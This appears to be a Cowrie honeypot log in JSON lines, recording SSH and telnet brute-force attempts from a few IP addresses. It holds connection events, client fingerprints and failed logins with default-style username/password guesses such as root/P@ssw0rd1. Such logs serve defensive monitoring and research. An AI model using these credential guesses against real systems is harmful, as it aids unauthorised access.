{"eventid":"cowrie.login.failed","username":"omid","password":"omid","message":"login attempt [omid/omid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:21.791764Z","src_ip":"45.153.34.112","session":"7cba47f39fe4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:22.883095Z","src_ip":"45.153.34.112","session":"7cba47f39fe4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56298,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8c834e558ff","protocol":"telnet","message":"New connection: 192.119.13.58:56298 (10.17.0.5:23) [session: b8c834e558ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:23.123147Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":40010,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c67d99705ef","protocol":"telnet","message":"New connection: 192.119.13.58:40010 (10.17.0.5:23) [session: 7c67d99705ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:23.493105Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37050,"dst_ip":"10.17.0.5","dst_port":22,"session":"27bf35a236d8","protocol":"ssh","message":"New connection: 45.153.34.112:37050 (10.17.0.5:22) [session: 27bf35a236d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:24.832999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:24.838207Z","src_ip":"45.153.34.112","session":"27bf35a236d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:24.923239Z","src_ip":"45.153.34.112","session":"27bf35a236d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"123456","message":"login attempt [sonar/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:25.174024Z","src_ip":"45.153.34.112","session":"27bf35a236d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47824,"dst_ip":"10.17.0.5","dst_port":23,"session":"261315aae497","protocol":"telnet","message":"New connection: 192.119.13.58:47824 (10.17.0.5:23) [session: 261315aae497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:25.471257Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:26.265855Z","src_ip":"45.153.34.112","session":"27bf35a236d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.00123047828674,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:26.480820Z","src_ip":"192.119.13.58","session":"e90135fb02a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":37064,"dst_ip":"10.17.0.5","dst_port":22,"session":"3b94cac1d930","protocol":"ssh","message":"New connection: 45.153.34.112:37064 (10.17.0.5:22) [session: 3b94cac1d930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:28.466041Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:28.471132Z","src_ip":"45.153.34.112","session":"3b94cac1d930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:28.556952Z","src_ip":"45.153.34.112","session":"3b94cac1d930","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd1","message":"login attempt [root/P@ssw0rd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:28.805048Z","src_ip":"45.153.34.112","session":"3b94cac1d930","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:29.890069Z","src_ip":"45.153.34.112","session":"3b94cac1d930","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37358,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7a822f19a07","protocol":"telnet","message":"New connection: 192.119.13.58:37358 (10.17.0.5:23) [session: c7a822f19a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:30.756307Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51668,"dst_ip":"10.17.0.5","dst_port":22,"session":"5878e4b56f74","protocol":"ssh","message":"New connection: 45.153.34.112:51668 (10.17.0.5:22) [session: 5878e4b56f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:32.129745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:32.137759Z","src_ip":"45.153.34.112","session":"5878e4b56f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:32.220705Z","src_ip":"45.153.34.112","session":"5878e4b56f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe123","message":"login attempt [ubuntu/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:32.469081Z","src_ip":"45.153.34.112","session":"5878e4b56f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:33.557095Z","src_ip":"45.153.34.112","session":"5878e4b56f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51684,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff4a13445bd4","protocol":"ssh","message":"New connection: 45.153.34.112:51684 (10.17.0.5:22) [session: ff4a13445bd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:35.780540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:35.860615Z","src_ip":"45.153.34.112","session":"ff4a13445bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.98385810852051,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:35.888439Z","src_ip":"192.119.13.58","session":"cc86125c9930","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:35.985839Z","src_ip":"45.153.34.112","session":"ff4a13445bd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test1","message":"login attempt [test1/test1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:36.241012Z","src_ip":"45.153.34.112","session":"ff4a13445bd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:37.336229Z","src_ip":"45.153.34.112","session":"ff4a13445bd4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":51692,"dst_ip":"10.17.0.5","dst_port":22,"session":"8185288d2128","protocol":"ssh","message":"New connection: 45.153.34.112:51692 (10.17.0.5:22) [session: 8185288d2128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:39.385465Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:39.391088Z","src_ip":"45.153.34.112","session":"8185288d2128","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:39.473468Z","src_ip":"45.153.34.112","session":"8185288d2128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:39.721860Z","src_ip":"45.153.34.112","session":"8185288d2128","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":46012,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac559d24300a","protocol":"ssh","message":"New connection: 103.27.238.116:46012 (10.17.0.5:22) [session: ac559d24300a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:40.528942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:40.534637Z","src_ip":"103.27.238.116","session":"ac559d24300a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:40.796456Z","src_ip":"103.27.238.116","session":"ac559d24300a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:40.824520Z","src_ip":"45.153.34.112","session":"8185288d2128","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"303030","message":"login attempt [root/303030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:41.577841Z","src_ip":"103.27.238.116","session":"ac559d24300a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:42.846063Z","src_ip":"103.27.238.116","session":"ac559d24300a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33888,"dst_ip":"10.17.0.5","dst_port":22,"session":"ebd3dec76008","protocol":"ssh","message":"New connection: 45.153.34.112:33888 (10.17.0.5:22) [session: ebd3dec76008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:42.982978Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:42.987669Z","src_ip":"45.153.34.112","session":"ebd3dec76008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:43.070038Z","src_ip":"45.153.34.112","session":"ebd3dec76008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"kingbase","message":"login attempt [kingbase/kingbase] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:43.317267Z","src_ip":"45.153.34.112","session":"ebd3dec76008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:44.425808Z","src_ip":"45.153.34.112","session":"ebd3dec76008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":37632,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ac99641b0a","protocol":"telnet","message":"New connection: 192.119.13.58:37632 (10.17.0.5:23) [session: e4ac99641b0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:44.757671Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42478,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1934d4876d8","protocol":"telnet","message":"New connection: 192.119.13.58:42478 (10.17.0.5:23) [session: a1934d4876d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:46.418874Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":33894,"dst_ip":"10.17.0.5","dst_port":22,"session":"71a36672f5d4","protocol":"ssh","message":"New connection: 45.153.34.112:33894 (10.17.0.5:22) [session: 71a36672f5d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:46.670840Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:05:46.676063Z","src_ip":"45.153.34.112","session":"71a36672f5d4","protocol":"ssh"}
